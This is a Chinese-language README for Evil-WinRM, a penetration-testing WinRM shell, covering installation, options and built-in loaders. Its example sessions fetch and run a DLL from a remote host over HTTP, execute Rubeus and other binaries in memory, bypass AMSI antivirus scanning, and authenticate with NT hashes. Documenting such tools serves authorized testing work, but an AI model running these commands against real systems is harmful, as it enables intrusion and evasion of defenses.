https: //github.com/Hackplayers/evil-winrm
该 shell 是用于黑客/渗透测试的终极 WinRM shell。
WinRM(Windows 远程管理)是 WS 管理协议的 Microsoft 实现。基于标准 SOAP 的协议,允许不同供应商的硬件和操作系统进行互操作。Microsoft 将其包含在其操作系统中,以使系统管理员的工作更轻松。
该程序可以在任何启用此功能的 Microsoft Windows 服务器上使用(通常在端口 5985),当然前提是您拥有使用它的凭据和权限。所以我们可以说它可以用于后利用黑客/渗透测试阶段。该程序的目的是为黑客提供良好且易于使用的功能。系统管理员也可以将其用于合法目的,但其大部分功能都集中在黑客/渗透测试方面。
它主要基于 WinRM Ruby 库,该库自 2.0 版以来改变了其工作方式。现在,它不再使用 WinRM 协议,而是使用 PSRP(Powershell 远程协议)来初始化运行空间池以及创建和处理管道。
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
-S, --ssl Enable ssl
-c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate
-k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate
-r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-s, --scripts PS_SCRIPTS_PATH Powershell scripts local path
--spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP)
-e, --executables EXES_PATH C# executables local path
-i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required)
-U, --url URL Remote url endpoint (default /wsman)
-u, --user USER Username (required if not using kerberos)
-p, --password PASS Password
-H, --hash HASH NTHash
-P, --port PORT Remote host port (default 5985)
-V, --version Show version
-n, --no-colors Disable colors
-N, --no-rpath-completion Disable remote path completion
-l, --log Log the WinRM session
-h, --help Display this help message
需要 Ruby 2.3 或更高版本。还需要一些红宝石:winrm >=2.3.2
, winrm-fs >=1.3.2
, stringio >=0.0.2
, logger >= 1.4.3
, fileutils >= 0.7.2
。根据您的安装方法(4 种可用),可能需要手动完成安装。
仅用于 Kerberos 身份验证的另一个重要要求是安装用于网络身份验证的 Kerberos 软件包。对于一些 Linux,比如基于 Debian 的(Kali、Parrot 等),它被称为krb5-user
. 对于 BlackArch 来说,它的调用方式krb5
可能对于其他 Linux 发行版来说可能以不同的方式调用。
仅当您的 ruby 被编译为启用该--with-readline-dir
标志时,远程路径完成功能才会起作用。某些 Linux 发行版中包含的 ruby 默认启用此功能,但并非全部发行版都启用此功能。请查看下面的部分以获取更多信息。
gem install evil-winrm
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
gem install bundler
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm && bundle install --path vendor/bundle
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
如果您不想以明文形式输入密码,您可以选择避免设置-p
参数,并且将提示密码以防止显示。
要使用 IPv6,必须将地址添加到 /etc/hosts。只需将已设置的主机名称放在-i
参数后面而不是 IP 地址即可。
upload
:本地文件可以使用 tab 键自动完成。
upload local_filename
或upload local_filename destination_filename
下载
:
download remote_filename
或download remote_filename destination_filename
关于路径(上传/下载)的注意事项:下载/上传时不允许使用相对路径。使用当前目录或绝对路径上的文件名。如果您在 docker 环境中使用 Evil-WinRM,请记住所有本地路径都应位于/data
并确保将其映射为卷,以便能够访问下载的文件或上传文件从您的本地主机操作系统
Invoke-Binary
、Dll-Loader
和函数。Donut-Loader
当 ps1 加载时,它的所有功能都会显示出来。*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] menu
[+] exit
-s
参数设置的路径中。再次输入菜单并查看加载的功能。非常大的文件可能需要很长时间才能加载。*Evil-WinRM* PS C:\> PowerView.ps1
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity
[+] Add-DomainGroupMember
[+] Add-DomainObjectAcl
[+] Add-RemoteConnection
[+] Add-Win32Type
[+] Convert-ADName
[+] Convert-DNSRecord
[+] ConvertFrom-LDAPLogonHours
[+] ConvertFrom-SID
[+] ConvertFrom-UACValue
[+] Convert-LDAPProperty
[+] Convert-LogonHours
[+] ConvertTo-SID
[+] Dll-Loader
[+] Donut-Loader
[+] Export-PowerViewCSV
[+] field
[+] Find-DomainLocalGroupMember
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
。可执行文件必须位于参数设置的路径中-e
。*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
Dll-Loader:允许在内存中加载dll库,它相当于:[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
dll 文件可以由 smb、http 或本地托管。一旦加载类型menu
,就可以自动完成所有功能。
*Evil-WinRM* PS C:\> Dll-Loader
.SYNOPSIS
dll loader.
PowerShell Function: Dll-Loader
Author: Hector de Armas (3v4Si0N)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.
.EXAMPLE
Dll-Loader -smb -path \\192.168.139.132\\share\\myDll.dll
Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
Dll-Loader -http -path http://example.com/myDll.dll
Description
-----------
Function that loads an arbitrary dll
*Evil-WinRM* PS C:\> Dll-Loader -http http://10.10.10.10/SharpSploit.dll
[+] Reading dll by HTTP
[+] Loading dll...
*Evil-WinRM* PS C:\Users\test\Documents> menu
[... Snip ...]
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0
Ppid : 0
Name : Idle
Path :
SessionID : 0
Owner :
Architecture : x64
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
如果您不使用Windows,则可以使用此donut-maker来生成payload.bin。该脚本使用 Marcello Salvati ( byt3bl33d3r )编写的 python 模块。可以使用 pip 安装:pip3 install donut-shellcode
python3 donut-maker.py -i Covenant.exe
___ _____
.'/,-Y" "~-.
l.Y ^.
/\ _\_ Donuts!
i ___/" "\
| /" "\ o !
l ] o !__./
\ _ _ \.___./ "~\
X \/ \ ___./
( \ ___. _..--~~" ~`-.
` Z,-- / \
\__. ( / ______)
\ l /-----~~" /
Y \ /
| "x______.^
| \
j Y
[+] Donut generated successfully: payload.bin
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
首先,您必须与 DC 同步日期:rdate -n
生成票据有多种方法:
添加 ccache 票证。有2种方法:
export KRB5CCNAME=/foo/var/ticket.ccache
cp ticket.ccache /tmp/krb5cc_0
添加领域/etc/krb5.conf
(对于 Linux)。使用这种格式很重要:
CONTOSO.COM = {
kdc = fooserver.contoso.com
}
检查 Kerberos 票证klist
要删除票证,请使用:kdestroy
有关 Kerberos 的更多信息,请查看此备忘单
根据您使用的 ruby,此功能可能不可用。它必须在 readline 支持下编译。否则,此功能将无法工作(将显示警告)。
使用此方法,您将使用所需的 readline 功能来编译 ruby,但仅使用库而不更改系统上的默认 ruby 版本。正因为如此,这是最推荐的方法。
假设您的基于 Debian 的系统有 ruby 2.7.3:
# Install needed package
apt install libreadline-dev
# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
# Extract source code
tar -xf ruby-2.7.3.tar.gz
# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make
# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
假设您想要在基于 Debian 的 Linux 上使用 ruby 2.7.1 并且您正在使用 zsh。该脚本将使其自动化。您需要从 evil-winrm.rb 和 Gemfile 所在的同一目录启动它(例如,evil-winrm 在 git 克隆后创建的目录):
#!/usr/bin/env zsh
# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q
# Install rbenv
sudo apt install rbenv
# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc
# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1
# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1
# Install local gems
gem install bundler
bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
#!/usr/bin/env sh
"${current_evwr}" "\$@"
EOF"
sudo chmod +x /usr/bin/evil-winrm
然后,您可以使用新安装的 ruby 以及所需的 readline 支持从任何位置安全地启动 evil-winrm。
如果您想自己编译,可以按照以下步骤操作。假设您想要 ruby 2.7.3:
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
根据您的系统,它将安装在/opt/rubies/ruby-2.7.3
或可能安装在 ~/.rubies/ruby-2.7.3
。
现在只需要为新安装的 ruby 版本安装 evil-winrm 依赖项。最简单的方法是启动命令/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm
。使用的 gem 命令必须属于新安装的 ruby。
之后,您可以安全地启动新安装的 ruby 以在邪恶的 winrm 上使用它:/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h
建议仅使用这个新安装的 ruby 来启动 evil-winrm。如果您将其设置为系统的默认 ruby,请记住它没有安装依赖项 gem。一些基于 Ruby 的软件(例如 Metasploit 或其他软件)由于依赖关系问题而无法正确启动。
此功能将在您的 $HOME 目录中创建文件,保存命令和 WinRM 会话的输出
可以在此处检查更改日志和项目更改:CHANGELOG.md
该脚本已获得 LGPLv3+ 许可。直接链接到许可证。
Evil-WinRM 只能用于授权的渗透测试和/或非营利教育目的。作者和任何其他合作者及分享软件者不承担任何滥用本软件的责任。在您自己的服务器上和/或在服务器所有者的许可下使用它。